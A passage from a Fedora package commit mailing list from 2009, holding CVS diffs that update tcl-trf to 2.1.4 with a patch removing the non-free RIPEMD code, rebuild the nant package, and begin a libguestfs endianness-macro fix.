+	sha, sha-1, haval, adler, dual, hexadecimal, octal,
 	uuencode, base64, ascii85, reed-solomon, zlib, otp_md5, otp_sha1,
 	otp_words
     }
diff -up trf2.1.4/doc/trf.man.ripemd trf2.1.4/doc/trf.man
--- trf2.1.4/doc/trf.man.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/doc/trf.man	2009-10-29 14:33:30.506531382 -0400
@@ -102,10 +102,6 @@ The second category are message digests 
 [cmd sha1_otp]
 [enum]
 [cmd haval]
-[enum]
-[cmd ripemd-160]
-[enum]
-[cmd ripemd-128]
 [list_end]
 [nl]
 
@@ -134,7 +130,7 @@ compression, error correction and others
 
 [list_end]
 
-[see_also oct hex oct base64 uuencode ascii85 otp_words quoted-printable crc-zlib crc adler md2 md5 md5_otp sha sha1 sha1_otp haval ripemd-160 ripemd-128 crypt md5crypt transform rs_ecc zip bz2]
+[see_also oct hex oct base64 uuencode ascii85 otp_words quoted-printable crc-zlib crc adler md2 md5 md5_otp sha sha1 sha1_otp haval crypt md5crypt transform rs_ecc zip bz2]
 [keywords transformation encoding {message digest} compression {error correction}]
 [manpage_end]
 
diff -up trf2.1.4/generic/init.c.ripemd trf2.1.4/generic/init.c
--- trf2.1.4/generic/init.c.ripemd	2009-06-18 00:54:43.000000000 -0400
+++ trf2.1.4/generic/init.c	2009-10-29 14:33:30.507530461 -0400
@@ -214,6 +214,7 @@ Tcl_Interp* interp;
   if (res != TCL_OK)
     return res;
 
+  /* Disable the non-free RIPEMD bits
   res = TrfInit_RIPEMD160 (interp);
 
   if (res != TCL_OK)
@@ -223,6 +224,7 @@ Tcl_Interp* interp;
 
   if (res != TCL_OK)
     return res;
+  */
 
   /*
    * Register freeform transformation, reflector into tcl level
diff -up trf2.1.4/generic/transformInt.h.ripemd trf2.1.4/generic/transformInt.h
--- trf2.1.4/generic/transformInt.h.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/generic/transformInt.h	2009-10-29 14:33:30.507530461 -0400
@@ -630,8 +630,8 @@ EXTERN int TrfInit_SHA1      _ANSI_ARGS_
 EXTERN int TrfInit_OTP_SHA1  _ANSI_ARGS_ ((Tcl_Interp* interp));
 EXTERN int TrfInit_ADLER     _ANSI_ARGS_ ((Tcl_Interp* interp));
 EXTERN int TrfInit_CRC_ZLIB  _ANSI_ARGS_ ((Tcl_Interp* interp));
-EXTERN int TrfInit_RIPEMD128 _ANSI_ARGS_ ((Tcl_Interp* interp));
-EXTERN int TrfInit_RIPEMD160 _ANSI_ARGS_ ((Tcl_Interp* interp));
+/* EXTERN int TrfInit_RIPEMD128 _ANSI_ARGS_ ((Tcl_Interp* interp)); */
+/* EXTERN int TrfInit_RIPEMD160 _ANSI_ARGS_ ((Tcl_Interp* interp)); */
 EXTERN int TrfInit_OTP_MD5   _ANSI_ARGS_ ((Tcl_Interp* interp));
 
 EXTERN int TrfInit_RS_ECC    _ANSI_ARGS_ ((Tcl_Interp* interp));
diff -up trf2.1.4/LSM.ripemd trf2.1.4/LSM
--- trf2.1.4/LSM.ripemd	2009-06-18 00:56:17.000000000 -0400
+++ trf2.1.4/LSM	2009-10-29 14:34:03.864389148 -0400
@@ -18,7 +18,7 @@ Description:    A loadable extension to 
 	an official part of the core.
 Keywords:       tcl, conversion, message digests, data compression,
 	error-correction, binary io, crc, md2, md5, sha, sha-1, haval, adler,
-	ripemd-160, dual, hexadecimal, octal, uuencode, base64, ascii85,
+	dual, hexadecimal, octal, uuencode, base64, ascii85,
 	reed-solomon, zlib, otp_md5, otp_sha1, otp_words
 Author:         Andreas Kupries (andreas_kupries at users.sourceforge.net)
 Maintained-by:  Andreas Kupries (andreas_kupries at users.sourceforge.net)
diff -up trf2.1.4/tea.tests/common_md.test.ripemd trf2.1.4/tea.tests/common_md.test
--- trf2.1.4/tea.tests/common_md.test.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tea.tests/common_md.test	2009-10-29 14:33:30.507530461 -0400
@@ -13,7 +13,7 @@
 # $Id: common_md.test,v 1.2 2000/11/18 22:42:32 aku Exp $
 
 
-# message digests: adler, crc, crc_zlib, haval, md5, md2, sha, rmd160, rmd128
+# message digests: adler, crc, crc_zlib, haval, md5, md2, sha
 # tests done with builtin digest 'crc'.
 
 foreach {i opt ovalue} {
diff -up trf2.1.4/tea.tests/________.ripemd trf2.1.4/tea.tests/________
--- trf2.1.4/tea.tests/________.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tea.tests/________	2009-10-29 14:33:30.508529332 -0400
@@ -13,7 +13,7 @@
 
 cd ../unix
 
-foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+foreach md {crc crc-zlib adler md5 sha haval} {
     set fail [catch {
 	exec ./tclsh ../tools/mdwrap -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
     } msg];#{}
@@ -27,7 +27,7 @@ cd ../tests
 if {0} {
     cd ..
 
-    foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+    foreach md {crc crc-zlib adler md5 sha haval} {
 	set fail [catch {
 	    exec unix/tclsh tools/md -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
 	} msg];#{}
diff -up trf2.1.4/tests/common.md.test.ripemd trf2.1.4/tests/common.md.test
--- trf2.1.4/tests/common.md.test.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tests/common.md.test	2009-10-29 14:33:30.508529332 -0400
@@ -14,7 +14,7 @@
 
 if {[string compare test [info procs test]] == 1} then {source defs}
 
-# message digests: adler, crc, crc_zlib, haval, md5, md2, sha, rmd160, rmd128
+# message digests: adler, crc, crc_zlib, haval, md5, md2, sha
 # tests done with builtin digest 'crc'.
 
 foreach {i opt ovalue} {
diff -up trf2.1.4/tests/________.ripemd trf2.1.4/tests/________
--- trf2.1.4/tests/________.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tests/________	2009-10-29 14:33:30.508529332 -0400
@@ -13,7 +13,7 @@
 
 cd ../unix
 
-foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+foreach md {crc crc-zlib adler md5 sha haval} {
     set fail [catch {
 	exec ./tclsh ../tools/mdwrap -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
     } msg];#{}
@@ -27,7 +27,7 @@ cd ../tests
 if {0} {
     cd ..
 
-    foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+    foreach md {crc crc-zlib adler md5 sha haval} {
 	set fail [catch {
 	    exec unix/tclsh tools/md -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
 	} msg];#{}
diff -up trf2.1.4/tools/md.ripemd trf2.1.4/tools/md
--- trf2.1.4/tools/md.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/tools/md	2009-10-29 14:33:30.508529332 -0400
@@ -41,7 +41,7 @@ proc usage {args} {
     puts stdout "\t-c file\t\tenter check mode, read data from file"
     puts stdout "\t-a alg\t\tuse specified algorithm to generate/check digests"
     puts stdout ""
-    puts stdout "\tallowed algorithms are: md5, haval, sha, crc, crc-zlib, adler, ripemd160, ripemd128"
+    puts stdout "\tallowed algorithms are: md5, haval, sha, crc, crc-zlib, adler"
     puts stdout ""
 
     exit


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Mar 2009 14:02:37 -0000	1.2
+++ sources	29 Oct 2009 18:41:30 -0000	1.3
@@ -1,2 +1,2 @@
 95f63280f1a71a3e7a041fcb148bea52  haval-1.1.tar.gz
-00113b594c6cc32b76096b7bb11534be  trf2.1.3-noripemd.tar.bz2
+828c76fbae46c513072982283d333b0d  trf2.1.4-noripemd.tar.bz2


Index: tcl-trf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/F-11/tcl-trf.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- tcl-trf.spec	6 Jul 2009 18:59:34 -0000	1.2
+++ tcl-trf.spec	29 Oct 2009 18:41:30 -0000	1.3
@@ -3,8 +3,8 @@
 %define realname trf
 
 Name:		tcl-%{realname}
-Version:	2.1.3
-Release:	3%{?dist}
+Version:	2.1.4
+Release:	1%{?dist}
 Summary:	Tcl extension providing "transformer" commands
 Group:		System Environment/Libraries
 License:	MIT and BSD and LGPLv2+ and GPLv2+ and Public Domain and OpenSSL
@@ -12,14 +12,13 @@ URL:		http://tcltrf.sourceforge.net
 # We can't use the upstream source because it includes the non-free ripemd implementation
 # Source0:	http://downloads.sourceforge.net/tcl%{realname}/%{realname}%{version}.tar.bz2
 # To make the clean tarball, just run:
-# rm -rf digests.ripemd128 digests.ripemd160 doc/ripemd160.man doc/html/ripemd160.html doc/html/ripemd128.html \
-# tests/rmd128.test tests/rmd160.test tea.tests/rmd128_bb.test tea.tests/rmd160_bb.test generic/rmd128.c generic/rmd160.c \ 
-# generic/ripemd/
+# rm -rf doc/ripemd160.man doc/html/ripemd160.html doc/html/ripemd128.html ./doc/tmml/ripemd128.tmml ./doc/tmml/ripemd160.tmml ./doc/ripemd128.man 
+# ./doc/digest/ripemd.inc ./generic/ripemd/ generic/rmd1* tea.tests/rmd1* tests/rmd1*
 Source0:	%{realname}%{version}-noripemd.tar.bz2
 # BSD licensed haval bits, included code is older and has bad license
 Source1:	http://labs.calyptix.com/haval-1.1.tar.gz
 Patch0:		trf2.1.3-havalfixes.patch
-Patch1:		trf2.1.3-noripemd.patch
+Patch1:		trf2.1.4-noripemd.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 Provides:	%{realname} = %{version}-%{release}
 BuildRequires:	tcl-devel, tk-devel, zlib-devel, bzip2-devel, openssl-devel
@@ -75,7 +74,7 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %doc doc/ ANNOUNCE ChangeLog DESCRIPTION README*
-%{tcl_sitearch}/Trf2.1.3
+%{tcl_sitearch}/Trf%{version}
 
 %files devel
 %defattr(-,root,root,-)
@@ -83,6 +82,12 @@ rm -rf %{buildroot}
 %{_includedir}/trfDecls.h
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.1.4-1
+- Update to 2.1.4
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.3-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Jul  6 2009 Tom "spot" Callaway <tcallawa at redhat.com> 2.1.3-3
 - fix noripemd patch to resolve undefined symbols (bz 506072)
 



From spot at fedoraproject.org  Thu Oct 29 18:41:32 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 18:41:32 +0000 (UTC)
Subject: rpms/tcl-trf/F-12 trf2.1.4-noripemd.patch, NONE, 1.1 sources, 1.2, 
	1.3 tcl-trf.spec, 1.3, 1.4
Message-ID: <20091029184132.15B6511C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/tcl-trf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25072/F-12

Modified Files:
	sources tcl-trf.spec 
Added Files:
	trf2.1.4-noripemd.patch 
Log Message:
update to 2.1.4

trf2.1.4-noripemd.patch:
 DESCRIPTION              |    2 +-
 LSM                      |    2 +-
 configure                |    2 +-
 configure.in             |    1 -
 doc/trf.man              |    6 +-----
 generic/init.c           |    2 ++
 generic/transformInt.h   |    4 ++--
 tea.tests/________       |    4 ++--
 tea.tests/common_md.test |    2 +-
 tests/________           |    4 ++--
 tests/common.md.test     |    2 +-
 tools/md                 |    2 +-
 12 files changed, 15 insertions(+), 18 deletions(-)

--- NEW FILE trf2.1.4-noripemd.patch ---
diff -up trf2.1.4/configure.in.ripemd trf2.1.4/configure.in
--- trf2.1.4/configure.in.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/configure.in	2009-10-29 14:33:30.504518975 -0400
@@ -86,7 +86,6 @@ TEA_ADD_SOURCES([otpcode.c qpcode.c refl
 TEA_ADD_SOURCES([dig_opt.c digest.c])
 TEA_ADD_SOURCES([crc.c crc_zlib.c adler.c])
 TEA_ADD_SOURCES([md5dig.c haval.c sha.c md2.c sha1.c])
-TEA_ADD_SOURCES([rmd160.c rmd128.c])
 TEA_ADD_SOURCES([otpmd5.c otpsha1.c])
 
 TEA_ADD_SOURCES([rs_ecc.c])
diff -up trf2.1.4/configure.ripemd trf2.1.4/configure
--- trf2.1.4/configure.ripemd	2009-06-18 00:45:24.000000000 -0400
+++ trf2.1.4/configure	2009-10-29 14:33:30.506531382 -0400
@@ -7041,7 +7041,7 @@ echo "$as_me: error: could not find sour
 
 
 
-    vars="rmd160.c rmd128.c"
+    vars=""
     for i in $vars; do
 	case $i in
 	    \$*)
diff -up trf2.1.4/DESCRIPTION.ripemd trf2.1.4/DESCRIPTION
--- trf2.1.4/DESCRIPTION.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/DESCRIPTION	2009-10-29 14:33:30.506531382 -0400
@@ -26,7 +26,7 @@ extension trf {
     keywords {
 	tcl, conversion, message digests,
 	data compression, error-correction, binary io, crc, md2, md5,
-	sha, sha-1, haval, adler, ripemd-160, dual, hexadecimal, octal,
+	sha, sha-1, haval, adler, dual, hexadecimal, octal,
 	uuencode, base64, ascii85, reed-solomon, zlib, otp_md5, otp_sha1,
 	otp_words
     }
diff -up trf2.1.4/doc/trf.man.ripemd trf2.1.4/doc/trf.man
--- trf2.1.4/doc/trf.man.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/doc/trf.man	2009-10-29 14:33:30.506531382 -0400
@@ -102,10 +102,6 @@ The second category are message digests 
 [cmd sha1_otp]
 [enum]
 [cmd haval]
-[enum]
-[cmd ripemd-160]
-[enum]
-[cmd ripemd-128]
 [list_end]
 [nl]
 
@@ -134,7 +130,7 @@ compression, error correction and others
 
 [list_end]
 
-[see_also oct hex oct base64 uuencode ascii85 otp_words quoted-printable crc-zlib crc adler md2 md5 md5_otp sha sha1 sha1_otp haval ripemd-160 ripemd-128 crypt md5crypt transform rs_ecc zip bz2]
+[see_also oct hex oct base64 uuencode ascii85 otp_words quoted-printable crc-zlib crc adler md2 md5 md5_otp sha sha1 sha1_otp haval crypt md5crypt transform rs_ecc zip bz2]
 [keywords transformation encoding {message digest} compression {error correction}]
 [manpage_end]
 
diff -up trf2.1.4/generic/init.c.ripemd trf2.1.4/generic/init.c
--- trf2.1.4/generic/init.c.ripemd	2009-06-18 00:54:43.000000000 -0400
+++ trf2.1.4/generic/init.c	2009-10-29 14:33:30.507530461 -0400
@@ -214,6 +214,7 @@ Tcl_Interp* interp;
   if (res != TCL_OK)
     return res;
 
+  /* Disable the non-free RIPEMD bits
   res = TrfInit_RIPEMD160 (interp);
 
   if (res != TCL_OK)
@@ -223,6 +224,7 @@ Tcl_Interp* interp;
 
   if (res != TCL_OK)
     return res;
+  */
 
   /*
    * Register freeform transformation, reflector into tcl level
diff -up trf2.1.4/generic/transformInt.h.ripemd trf2.1.4/generic/transformInt.h
--- trf2.1.4/generic/transformInt.h.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/generic/transformInt.h	2009-10-29 14:33:30.507530461 -0400
@@ -630,8 +630,8 @@ EXTERN int TrfInit_SHA1      _ANSI_ARGS_
 EXTERN int TrfInit_OTP_SHA1  _ANSI_ARGS_ ((Tcl_Interp* interp));
 EXTERN int TrfInit_ADLER     _ANSI_ARGS_ ((Tcl_Interp* interp));
 EXTERN int TrfInit_CRC_ZLIB  _ANSI_ARGS_ ((Tcl_Interp* interp));
-EXTERN int TrfInit_RIPEMD128 _ANSI_ARGS_ ((Tcl_Interp* interp));
-EXTERN int TrfInit_RIPEMD160 _ANSI_ARGS_ ((Tcl_Interp* interp));
+/* EXTERN int TrfInit_RIPEMD128 _ANSI_ARGS_ ((Tcl_Interp* interp)); */
+/* EXTERN int TrfInit_RIPEMD160 _ANSI_ARGS_ ((Tcl_Interp* interp)); */
 EXTERN int TrfInit_OTP_MD5   _ANSI_ARGS_ ((Tcl_Interp* interp));
 
 EXTERN int TrfInit_RS_ECC    _ANSI_ARGS_ ((Tcl_Interp* interp));
diff -up trf2.1.4/LSM.ripemd trf2.1.4/LSM
--- trf2.1.4/LSM.ripemd	2009-06-18 00:56:17.000000000 -0400
+++ trf2.1.4/LSM	2009-10-29 14:34:03.864389148 -0400
@@ -18,7 +18,7 @@ Description:    A loadable extension to 
 	an official part of the core.
 Keywords:       tcl, conversion, message digests, data compression,
 	error-correction, binary io, crc, md2, md5, sha, sha-1, haval, adler,
-	ripemd-160, dual, hexadecimal, octal, uuencode, base64, ascii85,
+	dual, hexadecimal, octal, uuencode, base64, ascii85,
 	reed-solomon, zlib, otp_md5, otp_sha1, otp_words
 Author:         Andreas Kupries (andreas_kupries at users.sourceforge.net)
 Maintained-by:  Andreas Kupries (andreas_kupries at users.sourceforge.net)
diff -up trf2.1.4/tea.tests/common_md.test.ripemd trf2.1.4/tea.tests/common_md.test
--- trf2.1.4/tea.tests/common_md.test.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tea.tests/common_md.test	2009-10-29 14:33:30.507530461 -0400
@@ -13,7 +13,7 @@
 # $Id: common_md.test,v 1.2 2000/11/18 22:42:32 aku Exp $
 
 
-# message digests: adler, crc, crc_zlib, haval, md5, md2, sha, rmd160, rmd128
+# message digests: adler, crc, crc_zlib, haval, md5, md2, sha
 # tests done with builtin digest 'crc'.
 
 foreach {i opt ovalue} {
diff -up trf2.1.4/tea.tests/________.ripemd trf2.1.4/tea.tests/________
--- trf2.1.4/tea.tests/________.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tea.tests/________	2009-10-29 14:33:30.508529332 -0400
@@ -13,7 +13,7 @@
 
 cd ../unix
 
-foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+foreach md {crc crc-zlib adler md5 sha haval} {
     set fail [catch {
 	exec ./tclsh ../tools/mdwrap -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
     } msg];#{}
@@ -27,7 +27,7 @@ cd ../tests
 if {0} {
     cd ..
 
-    foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+    foreach md {crc crc-zlib adler md5 sha haval} {
 	set fail [catch {
 	    exec unix/tclsh tools/md -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
 	} msg];#{}
diff -up trf2.1.4/tests/common.md.test.ripemd trf2.1.4/tests/common.md.test
--- trf2.1.4/tests/common.md.test.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tests/common.md.test	2009-10-29 14:33:30.508529332 -0400
@@ -14,7 +14,7 @@
 
 if {[string compare test [info procs test]] == 1} then {source defs}
 
-# message digests: adler, crc, crc_zlib, haval, md5, md2, sha, rmd160, rmd128
+# message digests: adler, crc, crc_zlib, haval, md5, md2, sha
 # tests done with builtin digest 'crc'.
 
 foreach {i opt ovalue} {
diff -up trf2.1.4/tests/________.ripemd trf2.1.4/tests/________
--- trf2.1.4/tests/________.ripemd	2009-06-18 00:55:33.000000000 -0400
+++ trf2.1.4/tests/________	2009-10-29 14:33:30.508529332 -0400
@@ -13,7 +13,7 @@
 
 cd ../unix
 
-foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+foreach md {crc crc-zlib adler md5 sha haval} {
     set fail [catch {
 	exec ./tclsh ../tools/mdwrap -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
     } msg];#{}
@@ -27,7 +27,7 @@ cd ../tests
 if {0} {
     cd ..
 
-    foreach md {crc crc-zlib adler md5 sha haval ripemd128 ripemd160} {
+    foreach md {crc crc-zlib adler md5 sha haval} {
 	set fail [catch {
 	    exec unix/tclsh tools/md -a $md -c digests.$md | sed -e {s/^/	/} >@ stdout
 	} msg];#{}
diff -up trf2.1.4/tools/md.ripemd trf2.1.4/tools/md
--- trf2.1.4/tools/md.ripemd	2009-06-18 00:45:22.000000000 -0400
+++ trf2.1.4/tools/md	2009-10-29 14:33:30.508529332 -0400
@@ -41,7 +41,7 @@ proc usage {args} {
     puts stdout "\t-c file\t\tenter check mode, read data from file"
     puts stdout "\t-a alg\t\tuse specified algorithm to generate/check digests"
     puts stdout ""
-    puts stdout "\tallowed algorithms are: md5, haval, sha, crc, crc-zlib, adler, ripemd160, ripemd128"
+    puts stdout "\tallowed algorithms are: md5, haval, sha, crc, crc-zlib, adler"
     puts stdout ""
 
     exit


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Mar 2009 14:02:37 -0000	1.2
+++ sources	29 Oct 2009 18:41:31 -0000	1.3
@@ -1,2 +1,2 @@
 95f63280f1a71a3e7a041fcb148bea52  haval-1.1.tar.gz
-00113b594c6cc32b76096b7bb11534be  trf2.1.3-noripemd.tar.bz2
+828c76fbae46c513072982283d333b0d  trf2.1.4-noripemd.tar.bz2


Index: tcl-trf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-trf/F-12/tcl-trf.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- tcl-trf.spec	27 Jul 2009 05:36:03 -0000	1.3
+++ tcl-trf.spec	29 Oct 2009 18:41:31 -0000	1.4
@@ -3,8 +3,8 @@
 %define realname trf
 
 Name:		tcl-%{realname}
-Version:	2.1.3
-Release:	4%{?dist}
+Version:	2.1.4
+Release:	1%{?dist}
 Summary:	Tcl extension providing "transformer" commands
 Group:		System Environment/Libraries
 License:	MIT and BSD and LGPLv2+ and GPLv2+ and Public Domain and OpenSSL
@@ -12,14 +12,13 @@ URL:		http://tcltrf.sourceforge.net
 # We can't use the upstream source because it includes the non-free ripemd implementation
 # Source0:	http://downloads.sourceforge.net/tcl%{realname}/%{realname}%{version}.tar.bz2
 # To make the clean tarball, just run:
-# rm -rf digests.ripemd128 digests.ripemd160 doc/ripemd160.man doc/html/ripemd160.html doc/html/ripemd128.html \
-# tests/rmd128.test tests/rmd160.test tea.tests/rmd128_bb.test tea.tests/rmd160_bb.test generic/rmd128.c generic/rmd160.c \ 
-# generic/ripemd/
+# rm -rf doc/ripemd160.man doc/html/ripemd160.html doc/html/ripemd128.html ./doc/tmml/ripemd128.tmml ./doc/tmml/ripemd160.tmml ./doc/ripemd128.man 
+# ./doc/digest/ripemd.inc ./generic/ripemd/ generic/rmd1* tea.tests/rmd1* tests/rmd1*
 Source0:	%{realname}%{version}-noripemd.tar.bz2
 # BSD licensed haval bits, included code is older and has bad license
 Source1:	http://labs.calyptix.com/haval-1.1.tar.gz
 Patch0:		trf2.1.3-havalfixes.patch
-Patch1:		trf2.1.3-noripemd.patch
+Patch1:		trf2.1.4-noripemd.patch
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 Provides:	%{realname} = %{version}-%{release}
 BuildRequires:	tcl-devel, tk-devel, zlib-devel, bzip2-devel, openssl-devel
@@ -75,7 +74,7 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %doc doc/ ANNOUNCE ChangeLog DESCRIPTION README*
-%{tcl_sitearch}/Trf2.1.3
+%{tcl_sitearch}/Trf%{version}
 
 %files devel
 %defattr(-,root,root,-)
@@ -83,6 +82,9 @@ rm -rf %{buildroot}
 %{_includedir}/trfDecls.h
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.1.4-1
+- Update to 2.1.4
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.1.3-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kkofler at fedoraproject.org  Thu Oct 29 18:43:45 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu, 29 Oct 2009 18:43:45 +0000 (UTC)
Subject: rpms/nant/F-12 nant.spec,1.36,1.37
Message-ID: <20091029184345.DE19111C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/nant/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25921/F-12

Modified Files:
	nant.spec 
Log Message:
* Thu Oct 29 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1:0.85-31
- rebuild because mono-ndoc "cleverly" encodes its build date into its ABI ver


Index: nant.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nant/F-12/nant.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- nant.spec	31 Jul 2009 14:36:25 -0000	1.36
+++ nant.spec	29 Oct 2009 18:43:45 -0000	1.37
@@ -6,7 +6,7 @@
 Summary: NAnt is a build tool for Mono and .NET
 Name: nant
 Version: 0.85	
-Release: 30%{?dist}
+Release: 31%{?dist}
 Epoch: 1
 Source0: http://download.sourceforge.net/nant/%{name}-%{version}-src.tar.gz
 Patch0: nant-build.patch
@@ -131,6 +131,9 @@ scrollkeeper-update -q || :
 %doc examples/* doc/help/*
 
 %changelog
+* Thu Oct 29 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1:0.85-31
+- rebuild because mono-ndoc "cleverly" encodes its build date into its ABI ver
+
 * Fri Jul 31 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:0.85-30
 - clarify comments on bootstrapping
 



From kkofler at fedoraproject.org  Thu Oct 29 18:43:46 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu, 29 Oct 2009 18:43:46 +0000 (UTC)
Subject: rpms/nant/devel nant.spec,1.36,1.37
Message-ID: <20091029184346.12B9E11C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/nant/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25921/devel

Modified Files:
	nant.spec 
Log Message:
* Thu Oct 29 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1:0.85-31
- rebuild because mono-ndoc "cleverly" encodes its build date into its ABI ver


Index: nant.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nant/devel/nant.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- nant.spec	31 Jul 2009 14:36:25 -0000	1.36
+++ nant.spec	29 Oct 2009 18:43:45 -0000	1.37
@@ -6,7 +6,7 @@
 Summary: NAnt is a build tool for Mono and .NET
 Name: nant
 Version: 0.85	
-Release: 30%{?dist}
+Release: 31%{?dist}
 Epoch: 1
 Source0: http://download.sourceforge.net/nant/%{name}-%{version}-src.tar.gz
 Patch0: nant-build.patch
@@ -131,6 +131,9 @@ scrollkeeper-update -q || :
 %doc examples/* doc/help/*
 
 %changelog
+* Thu Oct 29 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1:0.85-31
+- rebuild because mono-ndoc "cleverly" encodes its build date into its ABI ver
+
 * Fri Jul 31 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1:0.85-30
 - clarify comments on bootstrapping
 



From rjones at fedoraproject.org  Thu Oct 29 18:49:13 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 29 Oct 2009 18:49:13 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 0003-Fix-misspelling-in-previous-commit.patch, 
	NONE,
	1.1 0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch,
	1.2, 1.3 0002-RHEL-5-Also-add-le-16-64-toh-functions.patch, 1.1,
	1.2 libguestfs.spec, 1.77, 1.78
Message-ID: <20091029184913.B4FE111C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27968

Modified Files:
	0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch 
	0002-RHEL-5-Also-add-le-16-64-toh-functions.patch 
	libguestfs.spec 
Added Files:
	0003-Fix-misspelling-in-previous-commit.patch 
Log Message:
Another upstream fix required for endianness handling.

0003-Fix-misspelling-in-previous-commit.patch:
 hivex.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE 0003-Fix-misspelling-in-previous-commit.patch ---
>From 43a8e107ce8ad6eac99da82366bdf63b401e3d31 Mon Sep 17 00:00:00 2001
From: Richard Jones <rjones at redhat.com>
Date: Thu, 29 Oct 2009 18:46:46 +0000
Subject: [PATCH 3/3] Fix misspelling in previous commit.

---
 hivex/hivex.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/hivex/hivex.c b/hivex/hivex.c
index a0a730c..b522ccf 100644
--- a/hivex/hivex.c
+++ b/hivex/hivex.c
@@ -46,13 +46,13 @@
 #define be64toh(x) __bswap_64 (x)
 #endif
 #ifndef le16toh
-#define le32toh(x) (x)
+#define le16toh(x) (x)
 #endif
 #ifndef le32toh
 #define le32toh(x) (x)
 #endif
 #ifndef le64toh
-#define le32toh(x) (x)
+#define le64toh(x) (x)
 #endif
 #else
 #ifndef be32toh
-- 
1.6.5.rc2


0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch:
 configure.ac     |    2 +-
 hivex/hivex.c    |   31 ++++++++++++++++++++++++++++++-
 hivex/hivexget.c |    2 ++
 hivex/hivexml.c  |    3 ++-
 4 files changed, 35 insertions(+), 3 deletions(-)

Index: 0001-RHEL-5-Detect-endianness-functions-and-supply-them.patch
===================================================================
